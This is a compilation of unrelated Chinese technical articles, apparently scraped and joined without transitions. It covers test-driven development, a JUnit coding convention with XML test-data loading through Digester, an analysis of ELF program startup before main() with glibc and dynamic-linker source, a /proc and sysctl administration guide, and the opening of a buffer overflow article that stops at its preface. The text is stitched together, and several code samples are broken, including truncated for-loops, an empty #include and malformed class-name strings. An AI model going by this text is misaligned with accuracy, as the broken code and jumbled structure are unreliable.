如果你同意测试是重要的,而不仅仅是需要的,那么你就会开始自动化你的测试,或者继续已经使用的自动测试。如果你同意自动测试比手工测试优越,那么在开发 程序代码的同时发展自动测试就是合理的。维护测试代码只是增加了一点点负担,但它使你不必担心程序是否满足测试代码的需求。采用了自动测试和程序代码修改 的同时维护测试代码这两个原则,你就是采用了测试驱动的开发。程序的可靠性和质量都会得到提高,你的客户,不管是外面的零售客户,还是其他部门的同事,可 能会感谢你,也可能更少的因为软件不稳定打扰你,或者两都都有。最后,写测试代码比反复的用鼠标点来点去的测试软件有趣得多。
现在准备阅读测试驱动的开发系列的下一篇论文。这篇标题为"业务层测试驱动的开发"("Test-driven Development for the Business Tier")的论文将探讨服务器端组件测试的细节,包括EJB和普通的Java类。

作者
Wellie Chao从1984年开始对软件开发产生兴趣,并在1994年成为职业程序员至今。他领导了几个构建企业应用的软件项目,在Java和Perl语言上有很 深的造诣,他出版过几本Java的书籍,其中"Core Java Tools"(Prentice Hall)讲述了用Ant、CVS和JUnit等开源Java工具进行极限编程和测试驱动的开发等主题。他在IBMdeveloperWorks、 DevX、TheServerSide和其它地方发表的论文涵盖了开发企业软件的Java程序员感兴趣的主题。他荣幸的毕业于哈佛大学,在那儿他攻读经济 学和计算机,他现在住在纽约。

JUnit测试程序编写规范

一、 程序命名规范

1.测试类的命名

测试类的命名规则是:被测试类的类名+Test

比如有一个类叫IrgSrhDelegate,那么它的测试类的命名就是IrgSrhDelegateTest

2.测试用例的命名

测试用例的命名规则是:test+用例方法名称

比如要测试的方法叫updateData,那么测试用例的命名就是testUpdateData

(说明:"用例方法"就是指被测试的类中所包含的方法,而"测试用例"就是指测试类中所包含的方法)

比如IrgSrhDelegate中有一个方法叫做findByIrgFindParam,那么在IrgSrhDelegateTest中对应的测试用例名称就是testFindByIrgFindParam。

3.其它命名规范

本规范未说明的其它命名规范请参照《JAVA语言编码规范》(ENO-W063-JAVA Coding Rule.doc)。

二、 测试程序的包名定义规范

为了保持测试程序的独立和稳定性,请按照下面的方式组织测试程序:

假如被测试类的包名是com.wistrons.util,那么测试类的包名就是test.com.wistrons.util。也就是说在被测试类的包名前加上"test.",这就是测试类的包名。

三、 测试数据的准备方案

准备测试数据时有三种方案可以选择。

1.在程序中直接写入测试数据

在要输入的数据项不多的情况下可以采用这种方式

2.使用junitpack包中的InputDataUtil工具类

(要使用这个工具,请在测试程序中加上import junitpack.InputDataUtil

这种方法要求把测试数据写在一个XML文件中,XML的格式如下所示:

h0001

...

...

在这个XML文件中的根节点为inputs,根节点下可以有多个input节点。每个input节点代表一个case中需要的所有数据。

使用这个工具类的操作步骤如下:

1) 获取XML的存放路径。

请把写好的XML存放在测试类所在的目录中,然后可以按如下方式取得XML的存放路径:

String xml = IrgSrhDelegateTest.class.getResource(".").toString() +"test.xml";

2) 创建InputDataUtil的实例。

InputDataUtil inputUtil = new InputDataUtil();

3) 在InputDataUtil实例中设置接受数据的类名,InputDataUtil将此类与XML进行数据绑定。

inputUtil.setClassName("jp.co.liondor.common.fz25IrgSrh. SeekIrgSrhOpt");
4) 调用InputDataUtil.parse()方法,从XML中采集数据
java.util.Vector vector = (java.util.Vector) inputUtil.parse(xml);

5) 从Vector中取出被绑定类的实例

for (int i = 0; i

SeekIrgSrhOpt opt = (SeekIrgSrhOpt) vector.get(i);

...
}

现在对InputDataUtil的工作原理进行说明。InputDataUtil会根据input节点下的子节点名来设置被绑定的类中对应的 set方法,然后把XML中的数据设置到被绑定类中。比如上例XML中,input节点下有三个子节点:IrgCd、IrgName、IrgKname。 那么在调用InputDataUtil.parse()方法时,InputDataUtil就会分别调用SeekIrgSrhOpt类的setIrgCd ()、setIrgName()、setIrgKname()方法,把数据设置到SeekIrgSrhOpt的实例类中,并返回包含这些实例类的 Vector对象。

3.使用Digester

(要使用这个工具,请在测试程序中加上import org.apache.commons.digester.Digester

Digester是Apache提供的一个工具类,上面的InputDataUtil也是从Digester类继承的。当使用InputDataUtil暂时无法解决的时候,可以直接使用Digester。

使用Digester的步骤如下:

1) 获取XML的存放路径。

获取方式与使用InputDataUtil相同。

2) 创建Digester的实例。

Digester dig = new Digester();

3) 设定与inputs节点绑定的类为Vector

dig.addObjectCreate("inputs", "java.util.Vector");

4) 设定与input节点绑定的类

dig.addObjectCreate("inputs/input",

" jp.co.liondor.common.fz25IrgSrh. SeekIrgSrhOpt ");

5) 根据input节点下的子节点,依次设定相应的set方法

dig.addCallMethod("inputs/input/ IrgCd ", "setIrgCd ", 1);

dig.addCallParam("inputs/input/ IrgCd ", 0);

6) 设定向Vector中加入数据的方法

dig.addSetNext("inputs/input", "add");

7) 调用Digester.parse()方法,从XML中采集数据

java.util.Vector vector = (java.util.Vector) dig.parse(xml);

8) 从Vector中取出被绑定类的实例

for (int i = 0; i

SeekIrgSrhOpt opt = (SeekIrgSrhOpt) vector.get(i);

...

}

Digester的用法非常灵活,可以组织非常复杂的数据。

关于Digester的详细用法请参考http://jakarta.apache.org/commons/digester/

四、 对UI测试的原则

对UI做单元测试必须做到不能牵涉到业务逻辑操作(比如数据库操作、与Server的交互)。否则就是UI的设计不合理。对UI的单元测试应该非常单纯,就只是测试界面的动作是否符合设计要求。

五、 测试数据的覆盖率
测试时所准备的测试数据要覆盖程序中所有可能出现的CASE。
六、 测试记录

记录测试的过程和结果,请使用Log4j工具。

七、 测试粒度

选择测试粒度的原则:

1) 被测试类中所有public、protected方法都要测到。

2) 对于简单的set和get方法没有必要做测试。

八、 附录:参考文档一览

Digester文档 http://jakarta.apache.org/commons/digester/

JAVA语言编码规范 ENO-W063-JAVA Coding Rule.doc

JUnit官方网站 http://www.junit.org/

Before main() 分析

创建时间:2001-09-25
文章属性:原创
文章来源:http://www.xfocus.org/
文章提交:alert7 (sztcww_at_sina.com)

Before main() 分析

作者:alert7
alert7@xfocus.org
>

主页: http://www.xfocus.org
时间: 2001-9-25

★ 前言

本文分析了在main()之前的ELF程序流程,试图让您更清楚的把握程序的流程的脉络走向。
从而更深入的了解ELF。不正确之处,还请斧正。

★ 综述

ELF的可执行文件与共享库在结构上非常类似,它们具有一张程序段表,用来描述这些段如何映射到进程空间.
对于可执行文件来说,段的加载位置是固定的,程序段表中如实反映了段的加载地址.对于共享库来说,段的加
载位置是浮动的,位置无关的,程序段表反映的是以0作为基准地址的相对加载地址.尽管共享库的连接是不
充分的,为了便于测试动态链接器,Linux允许直接加载共享库运行.如果应用程序具有动态链接器的描述段,
内核在完成程序段加载后,紧接着加载动态链接器,并且启动动态链接器的入口.如果没有动态链接器的描述段,
就直接交给用户程序入口。
上述这部分请参考:linuxforum论坛上opera写的《分析ELF的加载过程》

在控制权交给动态链接器的入口后,首先调用_dl_start函数获得真实的程序入口(注:该入口地址
不是main的地址,也就是说一般程序的入口不是main),然后循环调用每个共享object的初始化函数,
接着跳转到真实的程序入口,一般为_start(程序中的_start)的一个例程,该例程压入一些参数到堆栈,
就直接调用__libc_start_main函数。在__libc_start_main函数中替动态连接器和自己程序安排
destructor,并运行程序的初始化函数。然后才把控制权交给main()函数。

★ main()之前流程

下面就是动态链接器的入口。
/* Initial entry point code for the dynamic linker.
The C function `_dl_start' is the real entry point;
its return value is the user program's entry point. */

#define RTLD_START asm (" .text\n .globl _start\n .globl _dl_start_user\n _start:\n pushl %esp\n call _dl_start\n\/*该函数返回时候,%eax中存放着user entry point address*/
popl %ebx\n\/*%ebx放着是esp的内容*/
_dl_start_user:\n # Save the user entry point address in %edi.\n movl %eax, %edi\n\/*入口地址放在%edi*/

# Point %ebx at the GOT.
call 0f\n 0: popl %ebx\n addl $_GLOBAL_OFFSET_TABLE_+[.-0b], %ebx\n
# Store the highest stack address\n movl __libc_stack_end@GOT(%ebx), %eax\n movl %esp, (%eax)\n\/*把栈顶%esp放到GOT的__libc_stack_end中*/

# See if we were run as a command with the executable file\n # name as an extra leading argument.\n movl _dl_skip_args@GOT(%ebx), %eax\n movl (%eax), %eax\n
# Pop the original argument count.\n popl %ecx\n
# Subtract _dl_skip_args from it.\n subl %eax, %ecx\n
# Adjust the stack pointer to skip _dl_skip_args words.\n leal (%esp,%eax,4), %esp\n
# Push back the modified argument count.\n pushl %ecx\n
# Push the searchlist of the main object as argument in\n # _dl_init_next call below.\n movl _dl_main_searchlist@GOT(%ebx), %eax\n movl (%eax), %esi\n 0: movl %esi,%eax\n
# Call _dl_init_next to return the address of an initializer\n # function to run.\n call _dl_init_next@PLT\n\/*该函数返回初始化函数的地址,返回地址放在%eax中*/

# Check for zero return, when out of initializers.\n testl %eax, %eax\n jz 1f\n
# Call the shared object initializer function.\n # NOTE: We depend only on the registers (%ebx, %esi and %edi)\n # and the return address pushed by this call;\n # the initializer is called with the stack just\n # as it appears on entry, and it is free to move\n # the stack around, as long as it winds up jumping to\n # the return address on the top of the stack.\n call *%eax\n\/*调用共享object初始化函数*/

# Loop to call _dl_init_next for the next initializer.\n jmp 0b\n
1: # Clear the startup flag.\n movl _dl_starting_up@GOT(%ebx), %eax\n movl $0, (%eax)\n
# Pass our finalizer function to the user in %edx, as per ELF ABI.\n movl _dl_fini@GOT(%ebx), %edx\n
# Jump to the user's entry point.\n jmp *%edi\n .previous\n ");

sysdeps\i386\start.s中
user's entry也就是下面的_start例程

/* This is the canonical entry point, usually the first thing in the text
segment. The SVR4/i386 ABI (pages 3-31, 3-32) says that when the entry
point runs, most registers' values are unspecified, except for:

%edx Contains a function pointer to be registered with `atexit'.
This is how the dynamic linker arranges to have DT_FINI
functions called for shared libraries that have been loaded
before this code runs.

%esp The stack contains the arguments and environment:
0(%esp) argc
4(%esp) argv[0]
...
(4*argc)(%esp) NULL
(4*(argc+1))(%esp) envp[0]
...
NULL
*/

.text
.globl _start
_start:
/* Clear the frame pointer. The ABI suggests this be done, to mark
the outermost frame obviously. */
xorl %ebp, %ebp

/* Extract the arguments as encoded on the stack and set up
the arguments for `main': argc, argv. envp will be determined
later in __libc_start_main. */
popl %esi /* Pop the argument count. */
movl %esp, %ecx /* argv starts just at the current stack top.*/

/* Before pushing the arguments align the stack to a double word
boundary to avoid penalties from misaligned accesses. Thanks
to Edward Seidl for pointing this out. */
andl $0xfffffff8, %esp
pushl %eax /* Push garbage because we allocate
28 more bytes. */

/* Provide the highest stack address to the user code (for stacks
which grow downwards). */
pushl %esp

pushl %edx /* Push address of the shared library
termination function. */

/* Push address of our own entry points to .fini and .init. */
pushl $_fini
pushl $_init

pushl %ecx /* Push second argument: argv. */
pushl %esi /* Push first argument: argc. */

pushl $main

/* Call the user's main function, and exit with its value.
But let the libc call main. */
call __libc_start_main

hlt /* Crash if somehow `exit' does return. */

__libc_start_main在sysdeps\generic\libc_start.c中
假设定义的是PIC的代码。
struct startup_info
{
void *sda_base;
int (*main) (int, char **, char **, void *);
int (*init) (int, char **, char **, void *);
void (*fini) (void);
};

int
__libc_start_main (int argc, char **argv, char **envp,
void *auxvec, void (*rtld_fini) (void),
struct startup_info *stinfo,
char **stack_on_entry)
{

/* the PPC SVR4 ABI says that the top thing on the stack will
be a NULL pointer, so if not we assume that we're being called
as a statically-linked program by Linux... */
if (*stack_on_entry != NULL)
{
/* ...in which case, we have argc as the top thing on the
stack, followed by argv (NULL-terminated), envp (likewise),
and the auxilary vector. */
argc = *(int *) stack_on_entry;
argv = stack_on_entry + 1;
envp = argv + argc + 1;
auxvec = envp;
while (*(char **) auxvec != NULL)
++auxvec;
++auxvec;
rtld_fini = NULL;
}

/* Store something that has some relationship to the end of the
stack, for backtraces. This variable should be thread-specific. */
__libc_stack_end = stack_on_entry + 4;

/* Set the global _environ variable correctly. */
__environ = envp;

/* Register the destructor of the dynamic linker if there is any. */
if (rtld_fini != NULL)
atexit (rtld_fini);/*替动态连接器安排destructor*/

/* Call the initializer of the libc. */

__libc_init_first (argc, argv, envp);/*一个空函数*/

/* Register the destructor of the program, if any. */
if (stinfo->fini)
atexit (stinfo->fini);/*安排程序自己的destructor*/

/* Call the initializer of the program, if any. */

/*运行程序的初始化函数*/
if (stinfo->init)
stinfo->init (argc, argv, __environ, auxvec);

/*运行程序main函数,到此,控制权才交给我们一般所说的程序入口*/
exit (stinfo->main (argc, argv, __environ, auxvec));

}

void
__libc_init_first (int argc __attribute__ ((unused)), ...)
{
}

int
atexit (void (*func) (void))
{
struct exit_function *new = __new_exitfn ();

if (new == NULL)
return -1;

new->flavor = ef_at;
new->func.at = func;
return 0;
}

/* Run initializers for MAP and its dependencies, in inverse dependency
order (that is, leaf nodes first). */

ElfW(Addr)
internal_function
_dl_init_next (struct r_scope_elem *searchlist)
{
unsigned int i;

/* The search list for symbol lookup is a flat list in top-down
dependency order, so processing that list from back to front gets us
breadth-first leaf-to-root order. */

i = searchlist->r_nlist;
while (i-- > 0)
{
struct link_map *l = searchlist->r_list[i];

if (l->l_init_called)
/* This object is all done. */
continue;

if (l->l_init_running)
{
/* This object's initializer was just running.
Now mark it as having run, so this object
will be skipped in the future. */
l->l_init_running = 0;
l->l_init_called = 1;
continue;
}

if (l->l_info[DT_INIT]
&& (l->l_name[0] != '' || l->l_type != lt_executable))
{
/* Run this object's initializer. */
l->l_init_running = 1;

/* Print a debug message if wanted. */
if (_dl_debug_impcalls)
_dl_debug_message (1, "\ncalling init: ",
l->l_name[0] ? l->l_name : _dl_argv[0],
"\n\n", NULL);

/*共享库的基地址+init在基地址中的偏移量*/
return l->l_addr + l->l_info[DT_INIT]->d_un.d_ptr;

}

/* No initializer for this object.
Mark it so we will skip it in the future. */
l->l_init_called = 1;
}

/* Notify the debugger all new objects are now ready to go. */
_r_debug.r_state = RT_CONSISTENT;
_dl_debug_state ();

return 0;
}
在main()之前的程序流程看试有点简单,但正在运行的时候还是比较复杂的
(自己用GBD跟踪下就知道了),因为一般的程序都需要涉及到PLT,GOT标号的
重定位。弄清楚这个对ELF由为重要,以后有机会再补上一篇吧。

★ 手动确定程序和动态连接器的入口

[alert7@redhat62 alert7]$ cat helo.c
#include
int main(int argc,char **argv)
{
printf("hello\n");
return 0;
}

[alert7@redhat62 alert7]$ gcc -o helo helo.c
[alert7@redhat62 alert7]$ readelf -h helo
ELF Header:
Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
Class: ELF32
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: Intel 80386
Version: 0x1
Entry point address: 0x8048320
Start of program headers: 52 (bytes into file)
Start of section headers: 8848 (bytes into file)
Flags: 0x0
Size of this header: 52 (bytes)
Size of program headers: 32 (bytes)
Number of program headers: 6
Size of section headers: 40 (bytes)
Number of section headers: 29
Section header string table index: 26
在这里我们看到程序的入口为0x8048320,可以看看是否为main函数。

[alert7@redhat62 alert7]$ gdb -q helo
(gdb) disass 0x8048320
Dump of assembler code for function _start:
0x8048320 : xor %ebp,%ebp
0x8048322 : pop %esi
0x8048323 : mov %esp,%ecx
0x8048325 : and $0xfffffff8,%esp
0x8048328 : push %eax
0x8048329 : push %esp
0x804832a : push %edx
0x804832b : push $0x804841c
0x8048330 : push $0x8048298
0x8048335 : push %ecx
0x8048336 : push %esi
0x8048337 : push $0x80483d0
0x804833c : call 0x80482f8
0x8048341 : hlt
0x8048342 : nop
End of assembler dump.
呵呵,不是main吧,程序的入口是个_start例程。

再来看动态连接器的入口是多少
[alert7@redhat62 alert7]$ ldd helo
libc.so.6 => /lib/libc.so.6 (0x40018000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
动态连接器ld-linux.so.2加载到进程地址空间0x40000000。

[alert7@redhat62 alert7]$ readelf -h /lib/ld-linux.so.2
ELF Header:
Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
Class: ELF32
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: DYN (Shared object file)
Machine: Intel 80386
Version: 0x1
Entry point address: 0x1990
Start of program headers: 52 (bytes into file)
Start of section headers: 328916 (bytes into file)
Flags: 0x0
Size of this header: 52 (bytes)
Size of program headers: 32 (bytes)
Number of program headers: 3
Size of section headers: 40 (bytes)
Number of section headers: 23
Section header string table index: 20
共享object入口地址为0x1990。加上整个ld-linux.so.2被加载到进程地址空间0x40000000。
那么动态连接器的入口地址为0x1990+0x40000000=0x40001990。

用户空间执行的第一条指令地址就是0x40001990,既上面#define RTLD_START的开始。

使用 /proc 文件系统来控制系统

详细介绍有关 /proc 中每个文件的用法和确切信息超出了本文所涉及的范围。要获得任何关于本文没有涉及到的 /proc 文件的其它信息,一个最佳来源就是 Linux 内核源代码本身,它包含了一些非常优秀的文档。对于系统管理员,/proc 中的以下文件较有用。这不意味着它是一份详尽的说明,而只是日常使用中便于查阅的参考。

/proc/scsi
/proc/scsi/scsi
作为系统管理员,需要了解的最有用内容是,在有热交换驱动器情况下,如何不重启系统就可以添加更多磁盘空间。假使不使用 /proc,您可以插入驱动器,但为了使系统识别新磁盘,必须随即重新引导系统。这里,可以用以下命令来使系统识别新的驱动器:

echo "scsi add-single-device w x y z" > /proc/scsi/scsi

为使该命令正常运行,必须指定正确的参数值 w、x、y 和 z,如下所示:
w 是主机适配器标识,第一个适配器为零(0)
x 是主机适配器上的 SCSI 通道,第一个通道为零(0)
y 是设备的 SCSI 标识
z 是 LUN 号,第一个 LUN 为零(0)

一旦将磁盘添加到系统中之后,可以挂装任何先前已格式化的文件系统,也可以开始对它进行格式化等。例如,如果不确定磁盘是什么设备,或者想检查任何先前已有的分区,则可以用如 fdisk -l 这样的命令来向您报告这方面的信息。

相反的,在不重新引导系统的情况下将设备从系统中除去的命令是:

echo "scsi remove-single-device w x y z" > /proc/scsi/scsi

在输入这条命令并将热交换 SCSI 磁盘从系统中除去之前,请确保首先卸下已从该磁盘安装的任何文件系统。

/proc/sys/fs/
/proc/sys/fs/file-max
该文件指定了可以分配的文件句柄的最大数目。如果用户得到的错误消息声明由于打开文件数已经达到了最大值,从而他们不能打开更多文件,则可能需要增加该值。可将这个值设置成有任意多个文件,并且能通过将一个新数字值写入该文件来更改该值。

缺省设置:4096

/proc/sys/fs/file-nr
该文件与 file-max 相关,它有三个值:
已分配文件句柄的数目
已使用文件句柄的数目
文件句柄的最大数目
该文件是只读的,仅用于显示信息。

/proc/sys/fs/inode-*
任何以名称“inode”开头的文件所执行的操作与上面那些以名称“file”开头的文件所执行的操作一样,但所执行的操作与索引节点有关,而与文件句柄无关。

/proc/sys/fs/overflowuid 和 /proc/sys/fs/overflowgid
这两个文件分别保存那些支持 16 位用户标识和组标识的任何文件系统的用户标识(UID)和组标识(GID)。可以更改这些值,但如果您确实觉得需要这样做,那么您可能会发现更改组和密码文件项更容易些。

缺省设置:65534

/proc/sys/fs/super-max
该文件指定超级块处理程序的最大数目。挂装的任何文件系统需要使用超级块,所以如果挂装了大量文件系统,则可能会用尽超级块处理程序。

缺省设置:256

/proc/sys/fs/super-nr
该文件显示当前已分配超级块的数目。该文件是只读的,仅用于显示信息。

/proc/sys/kernel
/proc/sys/kernel/acct
该文件有三个可配置值,根据包含日志的文件系统上可用空间的数量(以百分比表示),这些值控制何时开始进行进程记帐:
如果可用空间低于这个百分比值,则停止进程记帐
如果可用空间高于这个百分比值,则开始进程记帐
检查上面两个值的频率(以秒为单位)
要更改这个文件的某个值,应该回送用空格分隔开的一串数字。

缺省设置:2 4 30

如果包含日志的文件系统上只有少于 2% 的可用空间,则这些值会使记帐停止,如果有 4% 或更多可用空间,则再次启动记帐。每 30 秒做一次检查。

/proc/sys/kernel/ctrl-alt-del
该文件有一个二进制值,该值控制系统在接收到 ctrl+alt+delete 按键组合时如何反应。这两个值表示:
零(0)值表示捕获 ctrl+alt+delete,并将其送至 init 程序。这将允许系统可以完美地关闭和重启,就好象您输入 shutdown 命令一样。
壹(1)值表示不捕获 ctrl+alt+delete,将执行非干净的关闭,就好象直接关闭电源一样。

缺省设置:0

/proc/sys/kernel/domainname
该文件允许您配置网络域名。它没有缺省值,也许已经设置了域名,也许没有设置。

/proc/sys/kernel/hostname
该文件允许您配置网络主机名。它没有缺省值,也许已经设置了主机名,也许没有设置。

/proc/sys/kernel/msgmax
该文件指定了从一个进程发送到另一个进程的消息的最大长度。进程间的消息传递是在内核的内存中进行,不会交换到磁盘上,所以如果增加该值,则将增加操作系统所使用的内存数量。

缺省设置:8192

/proc/sys/kernel/msgmnb
该文件指定在一个消息队列中最大的字节数。

缺省设置:16384

/proc/sys/kernel/msgmni
该文件指定消息队列标识的最大数目。

缺省设置:16

/proc/sys/kernel/panic
该文件表示如果发生“内核严重错误(kernel panic)”,则内核在重新引导之前等待的时间(以秒为单位)。零(0)秒设置在发生内核严重错误时将禁止重新引导。

缺省设置:0

/proc/sys/kernel/printk
该文件有四个数字值,它们根据日志记录消息的重要性,定义将其发送到何处。关于不同日志级别的更多信息,请阅读 syslog(2) 联机帮助页。该文件的四个值为:
控制台日志级别:优先级高于该值的消息将被打印至控制台
缺省的消息日志级别:将用该优先级来打印没有优先级的消息
最低的控制台日志级别:控制台日志级别可被设置的最小值(最高优先级)
缺省的控制台日志级别:控制台日志级别的缺省值

缺省设置:6 4 1 7

/proc/sys/kernel/shmall
该文件是在任何给定时刻系统上可以使用的共享内存的总量(以字节为单位)。

缺省设置:2097152

/proc/sys/kernel/shmax
该文件指定内核所允许的最大共享内存段的大小(以字节为单位)。

缺省设置:33554432

/proc/sys/kernel/shmmni
该文件表示用于整个系统共享内存段的最大数目。

缺省设置:4096

/proc/sys/kernel/sysrq
如果该文件指定的值为非零,则激活 System Request Key。

缺省设置:0

/proc/sys/kernel/threads-max
该文件指定内核所能使用的线程的最大数目。

缺省设置:2048

/proc/sys/net
/proc/sys/net/core/message_burst
写新的警告消息所需的时间(以 1/10 秒为单位);在这个时间内所接收到的其它警告消息会被丢弃。这用于防止某些企图用消息“淹没”您系统的人所使用的拒绝服务(Denial of Service)攻击。

缺省设置:50(5 秒)

/proc/sys/net/core/message_cost
该文件存有与每个警告消息相关的成本值。该值越大,越有可能忽略警告消息。

缺省设置:5

/proc/sys/net/core/netdev_max_backlog
该文件指定了,在接口接收数据包的速率比内核处理这些包的速率快时,允许送到队列的数据包的最大数目。

缺省设置:300

/proc/sys/net/core/optmem_max
该文件指定了每个套接字所允许的最大缓冲区的大小。

/proc/sys/net/core/rmem_default
该文件指定了接收套接字缓冲区大小的缺省值(以字节为单位)。

/proc/sys/net/core/rmem_max
该文件指定了接收套接字缓冲区大小的最大值(以字节为单位)。

/proc/sys/net/core/wmem_default
该文件指定了发送套接字缓冲区大小的缺省值(以字节为单位)。

/proc/sys/net/core/wmem_max
该文件指定了发送套接字缓冲区大小的最大值(以字节为单位)。

/proc/sys/net/ipv4
所有 IPv4 和 IPv6 的参数都被记录在内核源代码文档中。请参阅文件 /usr/src/linux/Documentation/networking/ip-sysctl.txt。

/proc/sys/net/ipv6
同 IPv4。

/proc/sys/vm
/proc/sys/vm/buffermem
该文件控制用于缓冲区内存的整个系统内存的数量(以百分比表示)。它有三个值,通过把用空格相隔的一串数字写入该文件来设置这三个值。
用于缓冲区的内存的最低百分比
如果发生所剩系统内存不多,而且系统内存正在减少这种情况,系统将试图维护缓冲区内存的数量。
用于缓冲区的内存的最高百分比

缺省设置:2 10 60

/proc/sys/vm/freepages
该文件控制系统如何应对各种级别的可用内存。它有三个值,通过把用空格相隔的一串数字写入该文件来设置这三个值。
如果系统中可用页面的数目达到了最低限制,则只允许内核分配一些内存。
如果系统中可用页面的数目低于这一限制,则内核将以较积极的方式启动交换,以释放内存,从而维持系统性能。
内核将试图保持这个数量的系统内存可用。低于这个值将启动内核交换。

缺省设置:512 768 1024

/proc/sys/vm/kswapd
该文件控制允许内核如何交换内存。它有三个值,通过把用空格相隔的一串数字写入该文件来设置这三个值:
内核试图一次释放的最大页面数目。如果想增加内存交换过程中的带宽,则需要增加该值。
内核在每次交换中试图释放页面的最少次数。
内核在一次交换中所写页面的数目。这对系统性能影响最大。这个值越大,交换的数据越多,花在磁盘寻道上的时间越少。然而,这个值太大会因“淹没”请求队列而反过来影响系统性能。

缺省设置:512 32 8

/proc/sys/vm/pagecache
该文件与 /proc/sys/vm/buffermem 的工作内容一样,但它是针对文件的内存映射和一般高速缓存。

使内核设置具有持久性
这里提供了一个方便的实用程序,用于更改 /proc/sys 目录下的任何内核参数。它使您可以更改运行中的内核(类似于上面用到的 echo 和重定向方法),但它还有一个在系统引导时执行的配置文件。这使您可以更改运行中的内核,并将这些更改添加到配置文件,以便于在系统重新引导之后,这些更 改仍然生效。

该实用程序称为 sysctl,在 sysctl(8) 的联机帮助页中,对这个实用程序进行了完整的文档说明。sysctl 的配置文件是 /etc/sysctl.conf,可以编辑该文件,并在 sysctl.conf(8) 下记录了该文件。sysctl 将 /proc/sys 下的文件视为可以更改的单个变量。所以,以 /proc/sys 下的文件 /proc/sys/fs/file-max 为例,它表示系统中所允许的文件句柄的最大数目,这个文件被表示成 fs.file-max。

这个示例揭示了 sysctl 表示法中的一些奇妙事情。由于 sysctl 只能更改 /proc/sys 目录下的变量,并且人们始终认为变量是在这个目录下,因此省略了变量名的那一部分(/proc/sys)。另一个要说明的更改是,将目录分隔符(正斜杠 /)换成了英文中的句号(点 .)。

将 /proc/sys 中的文件转换成 sysctl 中的变量有两个简单的规则:
去掉前面部分 /proc/sys。
将文件名中的正斜杠变为点。

这两条规则使您能将 /proc/sys 中的任一文件名转换成 sysctl 中的任一变量名。一般文件到变量的转换为:

/proc/sys/dir/file --> dir.file
dir1.dir2.file --> /proc/sys/dir1/dir2/file

可以使用命令 sysctl -a 查看所有可以更改的变量和其当前设置。

用 sysctl 还可以更改变量,它所做的工作与上面所用的 echo 方法完全一样。其表示法为:

sysctl -w dir.file="value"

还是用 file-max 作为示例,使用下面两种方法中的一种将该值更改为 16384:

sysctl -w fs.file-max="16384"

或者:

echo "16384" > /proc/sys/fs/file-max

不要忘记 sysctl 不会将所做的更改添加到配置文件中;这要您用手工来完成。如果您希望在重新引导之后,前面所做的更改仍然有效,则必须维护这个配置文件。

注:不是所有的分发版都提供 sysctl 支持。如果您的特定系统属于这种情况,则可以用上面所描述的 echo 和重定向方法,将这些命令添加到启动脚本中,这样系统每次引导时,都会执行它们。

用于设置系统的命令
在系统运行的同时更改其它非内核系统参数,而且在不重新引导系统的情况下使这些设置生效,这种做法是可能的。在 /etc/init.d 目录中列出了包含这些参数的文件,它们主要按服务、守护程序和服务器来分类。由于越来越多各方面的脚本可以罗列在这个目录下,所以这里不可能讨论所有各种 配置。不过,下面列举了一些示例,这些示例讨论了如何在不同的 Linux 分发版上操作 /etc/init.d 下的脚本。这里的示例可能很有用,其中讨论了更改守护程序,然后在不重新引导系统的情形下重新装入配置:
更改 Web 服务器配置,然后重新装入 Apache
除去不需要的 inetd 登录服务
操作网络设置
通过 NFS 导出新的文件系统
启动/停止防火墙

首先,常见的方法是,直接通过 /etc/init.d 中的脚本来操作系统服务。这些脚本用参数来操作它们所控制的服务;可以通过输入脚本名但不带任何参数这种方法来查看有哪些有效的选项。常见的参数有:
start:启动已停止的服务
stop:停止正在运行的服务
restart:停止正在运行的服务,然后再重启该服务;它将启动已停止的服务
reload:在不中断任何连接的情况下,重新装入服务配置
status:报告服务处于运行状态,还是停止状态

例如,下面这条命令将在不终止任何已连接的用户会话的情形下,重新装入 xinetd 配置(如果您更改了 /etc/xinetd.conf,那么这条命令很有用):

/etc/init.d/xinetd reload

Red Hat 提供了 service 这条命令,它可以为您操作服务。service 命令提供的功能与输入脚本名本身的功能一样。它的语法如下所示:

service script-name [parameter]

例如:

service xinetd reload

SuSE 也提供名为 rc 的命令。该命令类似于上面的 service 命令,但该命令与脚本名之间没有空格。它的语法如下所示:

rc{script-name} parameter

例如:

rcapache start

与更改内核参数类似,一旦重新引导系统,则对这些服务的更改将会丢失。现在越来越多的分发版开始采用 chkconfig 命令,它管理在各种运行级别下(包括引导时)启动的服务。在撰写本文时,chkconfig 命令的语法会因 Linux 版本的不同而略有差异,不过如果输入不带任何参数的命令 chkconfig,则会显示一个如何使用该命令的列表。也可以通过 chkconfig(8) 的联机帮助页找到更多有关 chkconfig 的信息。
http://www-900.ibm.com/developerWorks/cn/linux/l-adfly/index.shtml'

Linux下缓冲区溢出攻击的原理及对策

前言

从逻辑上讲进程的堆栈是由多个堆栈帧构成的,其中每个堆栈帧都对应一个函数调用。当函数调用发生时,新的堆栈帧被压入堆栈;当函数返回时,相应的堆 栈帧从堆栈中弹出。尽管堆栈帧结构的引入为在高级语言中实现函数或过程这样的概念提供了直接的硬件支持,但是由于将函数返回地址这样的重要数据保存在程序 员可见的堆栈中,因此也给系统安全带来了极大的隐患。

历史上最著名的缓冲区溢出攻击可能要算是1988年11月2日的Morris Worm所携带的攻击代码了。这个因特网蠕虫利用了fingerd程序的缓冲区溢出漏洞,给用户带来了很大危害。此后,越来越多的缓冲区溢出漏洞被发现。 从bind、wu-ftpd、telnetd、apache等常用服务程序,到Microsoft、Oracle等软件厂商提供的应用程序,都存在着似乎 永远也弥补不完的缓冲区溢出漏洞。

根据绿盟科技提供的漏洞报告,2002年共发现各种操作系统和应用程序的漏洞1830个,其中缓冲区溢出漏洞有432个,占总数的23.6%. 而绿盟科技评出的2002年严重程度、影响范围最大的十个安全漏洞中,和缓冲区溢出相关的就有6个。

在读者阅读本文之前有一点需要说明,文中所有示例程序的编译运行环境为gcc 2.7.2.3以及bash 1.14.7,如果读者不清楚自己所使用的编译运行环境可以通过以下命令查看:

$ gcc -vReading specs from /usr/lib/gcc-lib/i386-redhat-linux/2.7.2.3/specsgcc version 2.7.2.3$ rpm -qf /bin/shbash-1.14.7-16


